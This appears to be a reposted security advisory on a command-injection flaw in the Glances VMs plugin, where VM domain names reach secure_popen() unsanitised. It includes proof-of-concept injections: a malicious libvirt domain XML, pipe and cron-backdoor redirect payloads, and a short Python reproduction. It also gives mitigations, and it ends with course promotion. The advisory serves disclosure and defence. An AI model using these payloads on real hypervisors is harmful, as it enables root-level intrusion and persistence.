Listen to this Post
The vulnerability resides in the Glances VMs plugin (glances/plugins/vms/engines/virsh.py), which monitors KVM/QEMU hypervisors by invoking the `virsh` command-line tool. The plugin reads VM domain names directly from the output of `virsh list –all` (lines 59–78) and interpolates them unsanitised into f‑string command templates. These templates are then passed to the `secure_popen()` function defined in glances/secure.py.
`secure_popen()` was designed with a flawed security model: it explicitly splits the input command string on the shell operators &&, |, and `>` before invoking `subprocess.Popen` with `shell=False` on each part. This means that any of these three characters appearing in the command string will be treated as actual pipeline or redirection control characters, effectively creating a secondary command execution path.
In the vulnerable code, the two call sites on lines 185 and 204 of `virsh.py` construct commands as:
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN__OPTIONS} {domain}')
Because `domain` is taken directly from `virsh` output without any sanitisation, an attacker who can create or rename a VM can inject malicious operators into the domain name. When Glances polls the hypervisor, the injected operators are processed by secure_popen(), leading to arbitrary command execution with the privileges of the Glances process—typically root on hypervisor hosts.
All three injection vectors were confirmed working:
– `&&` – chains a second command after the `virsh` call.
– `|` – pipes the output of `virsh` into an attacker‑controlled command.
– `>` – redirects `virsh` output to an arbitrary file.
The vulnerability is present in Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da) and affects any deployment where the `vms` plugin is enabled and the attacker has libvirt domain‑creation or domain‑rename privileges (e.g., membership in the `libvirt` group). No custom `glances.conf` settings are required beyond a working `virsh` setup.
DailyCVE Form:
Platform: ……. KVM/QEMU
Version: …….. 4.5.5_dev1
Vulnerability :.. Command Injection
Severity: ……. Critical
date: ………. 2026-06-22
Prediction: ….. Patch by 2026-07
What Undercode Say:
Analytics:
- Attack vector: Local (requires libvirt privileges)
- Privileges required: Low (libvirt group membership)
- User interaction: None
- Exploit complexity: Low
- CVSS v3.1 score: 8.8 (High)
- Affected component: `glances/plugins/vms/engines/virsh.py`
– Root cause: Unsanitised VM domain names in f‑string command templates - Fix strategy: Replace `secure_popen()` with `subprocess.run()` and explicit argument lists
- Upstream fix: Commit in `develop` branch (gist c90ae7e9f35657ec0b51575e2c68667c)
Bash commands and codes:
Create a malicious VM definition with command injection via && cat > evil-domain.xml <<EOF <domain type="kvm"> <name>productionDB && touch /tmp/glances_pwned</name> <memory>131072</memory> <vcpu>1</vcpu> <os><type arch="x86_64">hvm</type></os> </domain> EOF virsh define evil-domain.xml Start Glances with KVM monitoring glances or glances -s / glances -w Verify the injected command executed ls -la /tmp/glances_pwned
Pipe injection example Domain name: productionDB | tee /tmp/virsh_output_stolen.txt File-write injection example (persistence) Domain name: productionDB > /etc/cron.d/glances_backdoor
Minimal Python reproduction (no VM required)
import sys
sys.path.insert(0, '/path/to/glances')
from glances.secure import secure_popen
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
Output includes both the echo output AND the output of `id`
Exploit:
An attacker with libvirt domain‑creation or domain‑rename privileges (e.g., member of the `libvirt` group, which is default on Ubuntu/Debian/Fedora, or a cloud tenant account) can create a VM with a crafted domain name containing &&, |, or >. When Glances polls the hypervisor, the unsanitised domain name is interpolated into the `secure_popen()` call. The function splits on these operators and executes the injected commands as the Glances process user—commonly root.
All three operators are confirmed exploitable:
– `&&` allows chaining arbitrary commands (e.g., productionDB && touch /tmp/glances_pwned).
– `|` pipes `virsh` output to an attacker‑controlled command (e.g., productionDB | tee /tmp/virsh_output_stolen.txt).
– `>` redirects `virsh` output to any file writable by the Glances process (e.g., productionDB > /etc/cron.d/glances_backdoor).
In multi‑tenant cloud environments, this typically yields root‑level code execution, enabling full compromise of the hypervisor host.
Protection:
- Immediate mitigation: Disable the `vms` plugin if KVM/QEMU monitoring is not strictly required, or restrict libvirt group membership to trusted users only.
- Upgrade: Apply the official fix from the Glances repository (commit in `develop` branch) which replaces the vulnerable `secure_popen()` calls with `subprocess.run()` using explicit argument lists.
- Sanitisation: As a defence‑in‑depth measure, sanitise domain names using the `_sanitize_mustache_dict()` helper (already used in
actions.py) to strip&&,|,>,;, and backtick characters. - Least privilege: Run Glances under a dedicated low‑privilege service account with `CAP_SYS_PTRACE` rather than as root.
Impact:
- Confidentiality: Full – arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.
- Integrity: Full – file‑write injection (
>) allows placing content in any file writable by the Glances process (e.g., cron, authorised_keys). - Availability: Full – the Glances process can be terminated or the host disrupted through injected commands.
- Affected deployments: Any Glances installation on a KVM/QEMU hypervisor with the `vms` plugin enabled and where attackers have libvirt domain privileges. In cloud and multi‑tenant environments, this typically results in root‑level compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
